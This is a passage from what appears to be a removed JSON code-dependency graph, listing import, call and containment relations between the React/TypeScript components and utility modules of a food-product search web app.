- "target": "lib_openfoodfactsapi_formatnutritiondata"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductCard.tsx",
- "source_location": "L167",
- "weight": 1.0,
- "source": "components_productcard_defaultcard",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCardSkeleton.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_productcardskeleton_tsx",
- "target": "components_ui_card_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCardSkeleton.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_productcardskeleton_tsx",
- "target": "ui_card_card",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCardSkeleton.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_productcardskeleton_tsx",
- "target": "ui_card_cardcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductCardSkeleton.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_productcardskeleton_tsx",
- "target": "ui_skeleton_skeleton",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L83",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "app_components_productcardskeleton_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L85",
- "weight": 1.0,
- "source": "app_components_productcardskeleton_tsx",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "components_productskeleton_skeletonprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "ui_skeleton_skeleton",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L104",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "components_productskeleton_nutritionbarskeleton",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L116",
- "weight": 1.0,
- "source": "app_components_productskeleton_tsx",
- "target": "components_productskeleton_badgeskeleton",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L106",
- "weight": 1.0,
- "source": "components_productskeleton_nutritionbarskeleton",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/ProductSkeleton.tsx",
- "source_location": "L118",
- "weight": 1.0,
- "source": "components_productskeleton_badgeskeleton",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "lib_openfoodfactsapi_detectsearchtype",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "lib_openfoodfactsapi_isvalidbarcode",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "landing_searchbar_searchbar",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "components_ui_input_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/SearchBar.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_searchbar_tsx",
- "target": "ui_input_input",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "components_ui_dropdown_menu_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "ui_dropdown_menu_dropdownmenucontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "ui_dropdown_menu_dropdownmenuitem",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "lib_types_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "lib_types_sortoption",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L29",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "components_sortdropdown_sort_icons",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/SortDropdown.tsx",
- "source_location": "L131",
- "weight": 1.0,
- "source": "app_components_sortdropdown_tsx",
- "target": "components_sortdropdown_sorttoggle",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_landing_features_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_components_landing_features_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L44",
- "weight": 1.0,
- "source": "app_components_landing_features_tsx",
- "target": "landing_features_feature",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L79",
- "weight": 1.0,
- "source": "app_components_landing_features_tsx",
- "target": "landing_features_featurerow",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/landing/Features.tsx",
- "source_location": "L88",
- "weight": 1.0,
- "source": "landing_features_featurerow",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "hooks_use_geolocation_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "hooks_use_search_logic_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L8",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "landing_hero_hero",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L195",
- "weight": 1.0,
- "source": "app_components_landing_hero_tsx",
- "target": "landing_hero_arrowright",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "landing_hero_hero",
- "target": "hooks_use_geolocation_ts"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "landing_hero_hero",
- "target": "hooks_use_search_logic_ts"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/landing/Hero.tsx",
- "source_location": "L149",
- "weight": 1.0,
- "source": "landing_hero_hero",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/PersuasiveCTA.tsx",
- "source_location": "L132",
- "weight": 1.0,
- "source": "landing_persuasivecta_persuasivecta",
- "target": "landing_hero_arrowright",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "landing_howitworks_howitworks",
- "target": "landing_howitworks_step",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "landing_howitworks_howitworks",
- "target": "landing_howitworks_steps",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/HowItWorksSection.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_sobre_components_howitworkssection_tsx",
- "target": "landing_howitworks_steps",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "landing_howitworks_howitworks",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "landing_howitworks_howitworks",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L129",
- "weight": 1.0,
- "source": "landing_howitworks_howitworks",
- "target": "landing_howitworks_stepcard",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/landing/HowItWorks.tsx",
- "source_location": "L133",
- "weight": 1.0,
- "source": "landing_howitworks_stepcard",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/PersuasiveCTA.tsx",
- "source_location": "L12",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "landing_persuasivecta_persuasivecta",
- "target": "hooks_use_search_logic_ts"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/PersuasiveCTA.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "landing_persuasivecta_persuasivecta",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/PersuasiveCTA.tsx",
- "source_location": "L102",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "landing_persuasivecta_persuasivecta",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/SearchBar.tsx",
- "source_location": "L58",
- "weight": 1.0,
- "source": "landing_searchbar_searchbar",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/components/landing/TrustBadges.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "landing_trustbadges_trustbadges",
- "target": "landing_trustbadges_stats",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/resultados/page.tsx",
- "source_location": "L88",
- "weight": 1.0,
- "source": "resultados_page_resultadoscontent",
- "target": "hooks_usesearchcache_ts"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/resultados/page.tsx",
- "source_location": "L97",
- "weight": 1.0,
- "source": "resultados_page_resultadoscontent",
- "target": "hooks_useproductfilters_ts"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/resultados/page.tsx",
- "source_location": "L100",
- "weight": 1.0,
- "source": "resultados_page_resultadoscontent",
- "target": "hooks_usestoragemonitor_ts"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/resultados/page.tsx",
- "source_location": "L102",
- "weight": 1.0,
- "source": "resultados_page_resultadoscontent",
- "target": "hooks_usecacheonlymode_ts"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/HeroSection.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_sobre_components_herosection_tsx",
- "target": "components_herosection_herosection",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/MissionSection.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_sobre_components_missionsection_tsx",
- "target": "components_missionsection_mission_values",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/ProblemSection.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_sobre_components_problemsection_tsx",
- "target": "components_problemsection_problemsection",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_sobre_components_storysection_tsx",
- "target": "components_storysection_storystep",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_sobre_components_storysection_tsx",
- "target": "components_storysection_story_data",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/StorySection.tsx",
- "source_location": "L36",
- "weight": 1.0,
- "source": "app_sobre_components_storysection_tsx",
- "target": "components_storysection_storysection",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/TargetAudienceSection.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_sobre_components_targetaudiencesection_tsx",
- "target": "components_targetaudiencesection_personas",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/components/ValuesSection.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_sobre_components_valuessection_tsx",
- "target": "components_valuessection_protocols",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/OptimizedImage.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_optimizedimage_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "components/OptimizedImage.tsx",
- "source_location": "L153",
- "weight": 1.0,
- "confidence_score": 1.0,
- "source": "components_optimizedimage_tsx",
- "target": "lib_utils_cn"
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "lib/types.ts",
- "source_location": "L392",
- "weight": 1.0,
- "source": "lib_types_ts",
- "target": "components_optimizedimage_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_theme_toggle_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_theme_toggle_tsx",
- "target": "ui_button_button",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_theme_toggle_tsx",
- "target": "components_ui_dropdown_menu_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_theme_toggle_tsx",
- "target": "ui_dropdown_menu_dropdownmenucontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/theme-toggle.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_theme_toggle_tsx",
- "target": "ui_dropdown_menu_dropdownmenuitem",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_accordion_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_accordion_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L11",
- "weight": 1.0,
- "source": "components_ui_accordion_tsx",
- "target": "ui_accordion_accordionitem",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L23",
- "weight": 1.0,
- "source": "components_ui_accordion_tsx",
- "target": "ui_accordion_accordiontrigger",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/accordion.tsx",
- "source_location": "L43",
- "weight": 1.0,
- "source": "components_ui_accordion_tsx",
- "target": "ui_accordion_accordioncontent",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_button_buttonvariants",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogoverlay",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L30",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogcontent",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L48",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogheader",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L62",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogfooter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L76",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogtitle",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L88",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogdescription",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L101",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogaction",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L113",
- "weight": 1.0,
- "source": "components_ui_alert_dialog_tsx",
- "target": "ui_alert_dialog_alertdialogcancel",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L53",
- "weight": 1.0,
- "source": "ui_alert_dialog_alertdialogheader",
- "target": "lib_utils_cn"
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/alert-dialog.tsx",
- "source_location": "L67",
- "weight": 1.0,
- "source": "ui_alert_dialog_alertdialogfooter",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "components_ui_badge_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "components_ui_badge_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_badge_tsx",
- "target": "ui_badge_badgevariants",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "components_ui_badge_tsx",
- "target": "ui_badge_badgeprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L30",
- "weight": 1.0,
- "source": "components_ui_badge_tsx",
- "target": "ui_badge_badge",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/badge.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "ui_badge_badge",
- "target": "ui_badge_badgevariants",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "components/ui/badge.tsx",
- "source_location": "L32",
- "weight": 1.0,
- "source": "ui_badge_badge",
- "target": "lib_utils_cn"
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "components_ui_button_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/button.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_button_tsx",
- "target": "lib_utils_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/button.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "components_ui_button_tsx",
- "target": "lib_utils_cn",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/button.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "components_ui_button_tsx",
- "target": "ui_button_buttonvariants",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "components/ui/button.tsx",
- "source_location": "L37",
